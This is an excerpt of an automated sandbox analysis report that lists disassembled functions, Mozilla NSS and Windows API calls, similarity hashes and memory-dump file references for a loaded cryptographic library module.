Part of subcall function 6CFDAB10: DeleteCriticalSection.KERNEL32(D958E852,6CFE1397,5B5F5EC0,?,?,6CFDB1EE,2404110F,?,?), ref: 6CFDAB3C
Part of subcall function 6CFDAB10: free.MOZGLUE(D958E836,?,6CFDB1EE,2404110F,?,?), ref: 6CFDAB49
Part of subcall function 6CFDAB10: DeleteCriticalSection.KERNEL32(5D5E6D1D), ref: 6CFDAB5C
Part of subcall function 6CFDAB10: free.MOZGLUE(5D5E6D11), ref: 6CFDAB63
Part of subcall function 6CFDAB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CFDAB6F
Part of subcall function 6CFDAB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CFDAB76

TlsGetValue.KERNEL32(?,?,6CFDB266,6CFE15C6,?,?,6CFE15C6), ref: 6CFDDFDA
EnterCriticalSection.KERNEL32(?,?,?,6CFDB266,6CFE15C6,?,?,6CFE15C6), ref: 6CFDDFF3
PK11_IsFriendly.NSS3(?,?,?,?,6CFDB266,6CFE15C6,?,?,6CFE15C6), ref: 6CFDE029
PK11_IsLoggedIn.NSS3 ref: 6CFDE046

Part of subcall function 6CFE8F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CFDDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CFE8FAF
Part of subcall function 6CFE8F70: PR_Now.NSS3(?,?,00000002,?,?,?,6CFDDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CFE8FD1
Part of subcall function 6CFE8F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CFDDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CFE8FFA
Part of subcall function 6CFE8F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CFDDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CFE9013
Part of subcall function 6CFE8F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CFDDA9B,?,00000000,?,?,?,?,CE534353), ref: 6CFE9042
Part of subcall function 6CFE8F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CFDDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CFE905A
Part of subcall function 6CFE8F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CFDDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CFE9073
Part of subcall function 6CFE8F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CFDDA9B,?,00000000,?,?,?,?,CE534353), ref: 6CFE9111

PR_Unlock.NSS3(?,?,?,?,6CFDB266,6CFE15C6,?,?,6CFE15C6), ref: 6CFDE149

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: CriticalSection$DeleteEnterK11_UnlockValuefree$FriendlyInternalLoggedSlot
String ID:
API String ID: 4224391822-0
Opcode ID: 3312490a9e5f83f14d03843b65bab04b680efd3051da18f00a9c283b37e19d94
Instruction ID: 8bec7114078ba7e2ed45acf746194e0f361dfbe41a7d87d5fa01f3526e994849
Opcode Fuzzy Hash: 3312490a9e5f83f14d03843b65bab04b680efd3051da18f00a9c283b37e19d94
Instruction Fuzzy Hash: 44512374604601CFDB10DF29C58876ABBF1BF48319F1A896CD8998BB41E731F885CB92

Function 6CFEBE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6CFEBF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CFEBF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6CFC9F71,?,?,00000000), ref: 6CFEBF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6CFEBFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CFEC014

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
Opcode ID: 94f8121bbc35630ab4d4f854da49c815bdf66044facfa212d7e4fdf0255ca8c0
Instruction ID: a570b85ec58cef113ab7acc0055b9fa82522fb170e4045273401901f327c86f9
Opcode Fuzzy Hash: 94f8121bbc35630ab4d4f854da49c815bdf66044facfa212d7e4fdf0255ca8c0
Instruction Fuzzy Hash: AF41E775A01306ABEB00CFA5DC41BBF77B9AF48208F154528ED19D7A41FB31E945CB91

Function 6CFBEDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CFBEDFD
calloc.MOZGLUE(00000001,00000000), ref: 6CFBEE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6CFBEECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CFBEEEB
free.MOZGLUE(?), ref: 6CFBEEF6

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: da0c682483baa2377e5fb3a1e85a82caaebba2031fb5792794d14087f1e3c367
Instruction ID: 6673f0834d9661e3def7160aee6613451325a9823f1095f419eca865b6ff727a
Opcode Fuzzy Hash: da0c682483baa2377e5fb3a1e85a82caaebba2031fb5792794d14087f1e3c367
Instruction Fuzzy Hash: 7E313AB1500201ABE7208F2ADC41BA77BF4FB46304F160579F95A97A50E771E854CBE1

Function 6D001EA0 Relevance: 7.6, APIs: 5, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,?,6CFE6295,?,00000000,00000000,00000001,6D002653,?), ref: 6D001ECB

Part of subcall function 6D06C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D06C2BF

TlsGetValue.KERNEL32(?,00000001,?,?,6CFE6295,?,00000000,00000000,00000001,6D002653,?), ref: 6D001EF1
EnterCriticalSection.KERNEL32(?), ref: 6D001F01
PR_SetError.NSS3(00000000,00000000), ref: 6D001F39

Part of subcall function 6D00FE20: TlsGetValue.KERNEL32(6CFE5ADC,?,00000000,00000001,?,?,00000000,?,6CFDBA55,?,?), ref: 6D00FE4B
Part of subcall function 6D00FE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6D00FE5F

PR_Unlock.NSS3(?), ref: 6D001F67

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID:
API String ID: 704537481-0
Opcode ID: b5f0d25cc188474cf710c60237bb6cda5c45552c88a1b516d82e85f59875a144
Instruction ID: e26ed7e6ff7f2ff9b5565ca0bc709ce983013106517ba553315a8bb8a955bbe5
Opcode Fuzzy Hash: b5f0d25cc188474cf710c60237bb6cda5c45552c88a1b516d82e85f59875a144
Instruction Fuzzy Hash: 57210475904245BBFB009E6AEC45FAB3BAAAF49368F054024FE08C7201E731D950CAE2

Function 6CFC1DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CFC1E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CFC1E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFC1E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CFC1E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CFC1EAD

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: 162e1a4edbb6c00fdf50223566c7a662acd02ec7623cf927c87156c358068424
Instruction ID: 1c3257ae668bd7d95e1e01a17e7c4c7e8e360ee73d54f4e2e568f7a410e043a6
Opcode Fuzzy Hash: 162e1a4edbb6c00fdf50223566c7a662acd02ec7623cf927c87156c358068424
Instruction Fuzzy Hash: F5213772F08312A7EB008FA8DC40B8B7394DB84328F558638ED5997380E730E92487E3

Function 6D0D1E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6D0D1E5C

Part of subcall function 6D089BF0: TlsGetValue.KERNEL32(?,?,?,6D0D0A75), ref: 6D089C07

PR_Lock.NSS3(00000000), ref: 6D0D1E75
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6D0D1EAB
PR_GetCurrentThread.NSS3 ref: 6D0D1ED0
PR_Unlock.NSS3(?), ref: 6D0D1EE8

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: e0cff8ad407879ea7223156e158d014adef16a57dec367946120858132f23054
Instruction ID: eda36014336b81fd8fcd5af94683e0e002d71564e6a2fcf78e2b1473942786f6
Opcode Fuzzy Hash: e0cff8ad407879ea7223156e158d014adef16a57dec367946120858132f23054
Instruction Fuzzy Hash: A621CF74A18612AFEB90CF18D940B16B7F1FF44714B25822AE9158B741DB31F850CBD2

Function 6D01BE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CFCE708,00000000,00000000,00000004,00000000), ref: 6D01BE6A

Part of subcall function 6D020840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6D0208B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CFD04DC,?), ref: 6D01BE7E

Part of subcall function 6D01FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6D018D2D,?,00000000,?), ref: 6D01FB85
Part of subcall function 6D01FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6D01FBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6D01BEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CFD04DC,?,?), ref: 6D01BED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6D01BEEB

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: 2b0e9c87fd7de120f13dbbb376e6c3b0bc24e342b39f8051c06b4c1651aaff2d
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: 3211046660C25667F70099E6AD80F2B77EEAB42754F114029FF04C7352E731D80087E2

Function 6CFCAD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6CFC3FFF,00000000,?,?,?,?,?,6CFC1A1C,00000000,00000000), ref: 6CFCADA7

Part of subcall function 6D0214C0: TlsGetValue.KERNEL32 ref: 6D0214E0
Part of subcall function 6D0214C0: EnterCriticalSection.KERNEL32 ref: 6D0214F5
Part of subcall function 6D0214C0: PR_Unlock.NSS3 ref: 6D02150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6CFC3FFF,00000000,?,?,?,?,?,6CFC1A1C,00000000,00000000), ref: 6CFCADB4

Part of subcall function 6D0210C0: TlsGetValue.KERNEL32(?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D0210F3
Part of subcall function 6D0210C0: EnterCriticalSection.KERNEL32(?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D02110C
Part of subcall function 6D0210C0: PL_ArenaAllocate.NSS3(?,?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D021141
Part of subcall function 6D0210C0: PR_Unlock.NSS3(?,?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D021182
Part of subcall function 6D0210C0: TlsGetValue.KERNEL32(?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D02119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6CFC3FFF,?,?,?,?,6CFC3FFF,00000000,?,?,?,?,?,6CFC1A1C,00000000), ref: 6CFCADD5

Part of subcall function 6D01FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6D018D2D,?,00000000,?), ref: 6D01FB85
Part of subcall function 6D01FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6D01FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6D0E94B0,?,?,?,?,?,?,?,?,6CFC3FFF,00000000,?), ref: 6CFCADEC

Part of subcall function 6D01B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6D0F18D0,?), ref: 6D01B095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CFC3FFF), ref: 6CFCAE3C

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 98e02ade6c3a63bc13ea27b340d6c8cbcd0cd4cce8e9a1c4e9c388a9d4dcac35
Instruction ID: 1001ecdb42478238f61af1dcaa5f4dba7ed15042b88926ea8a81f84bf805547e
Opcode Fuzzy Hash: 98e02ade6c3a63bc13ea27b340d6c8cbcd0cd4cce8e9a1c4e9c388a9d4dcac35
Instruction Fuzzy Hash: E0115272F042066BFB109BA5AC44BBF73E89F9124CF044229EE1997241FB20F95482E3

Function 6CFE8E80 Relevance: 7.6, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6D002E62,?,?,?,?,?,?,?,00000000,?,?,?,6CFD4F1C), ref: 6CFE8EA2

Part of subcall function 6D00F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6D00F854
Part of subcall function 6D00F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6D00F868
Part of subcall function 6D00F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6D00F882
Part of subcall function 6D00F820: free.MOZGLUE(04C483FF,?,?), ref: 6D00F889
Part of subcall function 6D00F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6D00F8A4
Part of subcall function 6D00F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6D00F8AB
Part of subcall function 6D00F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6D00F8C9
Part of subcall function 6D00F820: free.MOZGLUE(280F10EC,?,?), ref: 6D00F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6D002E62,?,?,?,?,?,?,?,00000000,?,?,?,6CFD4F1C), ref: 6CFE8EC3
TlsGetValue.KERNEL32(?,?,?,6D002E62,?,?,?,?,?,?,?,00000000,?,?,?,6CFD4F1C), ref: 6CFE8EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6D002E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6CFE8EF1
PR_Unlock.NSS3 ref: 6CFE8F20

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID:
API String ID: 1978757487-0
Opcode ID: 05958ba655038d5d4dea226270f45e3a3467b2a7d61becb9f7249dff1b1878b7
Instruction ID: 234ca705c9806eec6d7194ae77a307f5f074ad2317a02f0dd50a1761e230909c
Opcode Fuzzy Hash: 05958ba655038d5d4dea226270f45e3a3467b2a7d61becb9f7249dff1b1878b7
Instruction Fuzzy Hash: DB218BB1909605AFD700BF69D584699BBF4FF48318F01456EED989BB41EB30E890CBD2

Function 6CFD8FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6CFE0710), ref: 6CFD8FF1
PR_CallOnce.NSS3(6D122158,6CFD9150,00000000,?,?,?,6CFD9138,?,6CFE0710), ref: 6CFD9029
calloc.MOZGLUE(00000001,00000000,?,?,6CFE0710), ref: 6CFD904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6CFE0710), ref: 6CFD9066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6CFE0710), ref: 6CFD9078

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: 0b2aeeb0ad58a8fc817fcd26c04c09c5e3345ce9aea523d9965556019a1bb111
Instruction ID: 04138f0a2630ca7252c33b7d31cb45e0a558dac12e388321b465f42e6620b939
Opcode Fuzzy Hash: 0b2aeeb0ad58a8fc817fcd26c04c09c5e3345ce9aea523d9965556019a1bb111
Instruction Fuzzy Hash: 21114C2160011117E71016F9BC28B6772ACDB8175CF4A0131FD44D2A41FF53DE4483A1

Function 6CFECD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6D001E10: TlsGetValue.KERNEL32 ref: 6D001E36
Part of subcall function 6D001E10: EnterCriticalSection.KERNEL32(?,?,?,6CFDB1EE,2404110F,?,?), ref: 6D001E4B
Part of subcall function 6D001E10: PR_Unlock.NSS3 ref: 6D001E76

free.MOZGLUE(?,6CFED079,00000000,00000001), ref: 6CFECDA5
PK11_FreeSymKey.NSS3(?,6CFED079,00000000,00000001), ref: 6CFECDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6CFED079,00000000,00000001), ref: 6CFECDCF
DeleteCriticalSection.KERNEL32(?,6CFED079,00000000,00000001), ref: 6CFECDE2
free.MOZGLUE(?), ref: 6CFECDE9

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 3300dcfe619205d7281b9c1d57128679bc65ed8e6eaecfeacb8c73bf40c4514a
Instruction ID: 91e5ef804fe204b9ed5109e869071b2e92f6dc7337a485add577d6d3d1a216ef
Opcode Fuzzy Hash: 3300dcfe619205d7281b9c1d57128679bc65ed8e6eaecfeacb8c73bf40c4514a
Instruction Fuzzy Hash: F111A0B6A01111BBEA009E65FC45F96BB2DFB082687110132FA2987901E732E424C7E1

Function 6D023D90 Relevance: 7.6, APIs: 5, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,-00000001,?,00000000,?,6D0238A2), ref: 6D023DB0
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,00000000,-00000001,?,00000000,?,6D0238A2), ref: 6D023DBF

Part of subcall function 6D020BE0: malloc.MOZGLUE(6D018D2D,?,00000000,?), ref: 6D020BF8
Part of subcall function 6D020BE0: TlsGetValue.KERNEL32(6D018D2D,?,00000000,?), ref: 6D020C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,6D0238A2), ref: 6D023DD9
_wstat64i32.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(00000000,000000FF,?,000000FF,00000000,00000000,6D0238A2), ref: 6D023DE7
free.MOZGLUE(00000000,?,000000FF,00000000,00000000,6D0238A2), ref: 6D023DF8

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_UtilValue_wstat64i32freemalloc
String ID:
API String ID: 1642359729-0
Opcode ID: dba5d95f145c2987ea39fcf41ce9d72506402ebfa80ebb177c29e1e081ff2c21
Instruction ID: 8c8166485cfa609352d66e55523663c8393e363409058ea83ba7a6b44de42c9a
Opcode Fuzzy Hash: dba5d95f145c2987ea39fcf41ce9d72506402ebfa80ebb177c29e1e081ff2c21
